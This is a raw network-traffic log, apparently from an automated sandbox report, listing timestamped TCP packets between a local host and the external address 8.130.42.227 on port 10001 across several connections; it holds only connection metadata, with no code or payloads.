Oct 1, 2024 09:16:59.292273998 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292325020 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292335987 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292346954 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292365074 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.292365074 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.292409897 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.292505026 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292526960 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292537928 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292617083 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.292643070 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292653084 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292665005 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292676926 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292723894 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.292757034 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292768002 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292778969 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.292799950 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.292829990 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.293421984 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.293467045 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.293478012 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.293483973 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.293510914 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.293534040 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.293540001 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.293553114 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.293562889 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.293574095 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.293608904 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.293608904 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.293628931 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.293634892 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.293648005 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.293658972 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.293673038 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.293697119 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.294352055 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.294363022 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.294373989 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.294419050 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.294444084 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.294454098 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.294466019 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.294476032 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.294486046 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.294492006 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.294512987 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.294544935 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.294545889 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.294557095 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.294569016 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.294590950 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.294616938 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.294616938 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.295258045 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.295269012 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.295308113 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.295337915 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.377784014 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.377832890 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.377842903 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.377891064 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.377906084 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.535190105 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.535270929 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.535279989 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.535281897 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.535295010 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.535305977 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.535315037 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.535320997 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.535320997 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.535326004 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.535336018 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.535347939 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.535414934 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.535593987 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.535629034 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.535639048 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.535655022 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.535680056 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.535857916 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.535868883 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.535880089 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.535911083 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.535959005 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.535959005 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.535969973 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.536016941 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.536067009 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.536077976 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.536087990 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.536118031 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.536143064 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.536218882 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.536230087 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.536238909 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.536251068 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.536272049 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.536297083 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.536470890 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.536482096 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.536493063 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.536503077 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.536514997 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.536520958 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.536520958 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.536557913 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.536809921 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.536820889 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.536830902 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.536860943 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.536870003 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.536875963 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.536880016 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.536890984 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.536900997 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.536910057 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.536923885 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.536930084 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.536950111 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.536973953 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.537024021 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.537034988 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.537045956 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.537056923 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.537066936 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.537092924 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.537118912 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.537638903 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.537668943 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.537679911 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.537698030 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.537698030 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.537731886 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.537806988 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.537817955 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.537827969 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.537838936 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.537858963 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.537884951 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.537961960 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.537974119 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.537985086 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.537996054 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.538000107 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.538007975 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.538018942 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.538028002 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.538031101 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.538043022 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.538049936 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.538069963 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.538088083 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.538491964 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.538511038 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.538541079 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.538561106 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.622050047 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622059107 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622066975 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622071981 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622077942 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622124910 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622131109 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622251987 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.622286081 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.622292042 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622304916 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622318029 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622323990 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622329950 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622340918 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.622364998 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.622394085 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.622436047 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622447014 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622457027 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622462034 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622467995 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622478008 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622486115 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622487068 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.622497082 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622529030 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.622529030 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.622564077 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622622013 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.622771978 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622813940 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622817993 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.622823954 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622852087 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.622867107 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.622878075 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622889042 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622900963 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.622922897 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.622948885 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.622948885 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.622996092 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.623007059 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.623016119 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.623025894 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.623037100 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.623043060 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.623049021 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.623068094 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.623092890 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.623125076 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.623136997 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.623145103 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.623162985 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.623197079 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.623547077 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.623557091 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.623563051 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.623603106 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.623603106 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.623614073 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.623624086 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.623641014 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.623668909 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789215088 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789232969 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789244890 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789262056 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789274931 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789285898 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789298058 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789304018 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789310932 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789321899 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789328098 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789324045 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789338112 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789350033 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789362907 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789371014 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789376020 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789386988 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789400101 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789412022 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789422989 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789427042 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789427042 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789427996 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789433956 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789444923 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789454937 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789458990 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789468050 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789479017 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789489985 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789499044 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789499044 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789500952 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789515018 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789520979 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789526939 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789537907 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789542913 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789549112 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789561033 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789572001 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789580107 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789582014 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789592981 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789602041 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789607048 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789618015 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789617062 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789629936 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789638996 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789640903 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789652109 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789660931 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789664030 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789671898 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789680004 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789685011 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789695978 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789702892 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789707899 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789719105 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789727926 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789731026 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789741993 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789752007 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789752960 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789762974 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789776087 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789781094 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789789915 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.789799929 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789822102 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.789853096 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.791994095 CEST	49730	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.796762943 CEST	10001	49730	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.799922943 CEST	49731	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.804871082 CEST	10001	49731	8.130.42.227	192.168.2.4
Oct 1, 2024 09:16:59.804955006 CEST	49731	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.805041075 CEST	49731	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:16:59.809838057 CEST	10001	49731	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:00.947107077 CEST	10001	49731	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:00.947196960 CEST	49731	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:00.947241068 CEST	10001	49731	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:00.947288036 CEST	49731	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:00.947365046 CEST	49731	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:00.952214956 CEST	10001	49731	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:01.053352118 CEST	49732	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:01.261184931 CEST	10001	49732	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:01.261324883 CEST	49732	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:01.261580944 CEST	49732	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:01.266524076 CEST	10001	49732	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:02.228874922 CEST	10001	49732	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:02.228920937 CEST	10001	49732	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:02.228972912 CEST	49732	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:02.229021072 CEST	49732	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:02.229136944 CEST	49732	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:02.233833075 CEST	10001	49732	8.130.42.227	192.168.2.4
Oct 1, 2024 09:17:02.334590912 CEST	49733	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:17:02.339428902 CEST	10001	49733	8.130.42.227	192.168.2.4
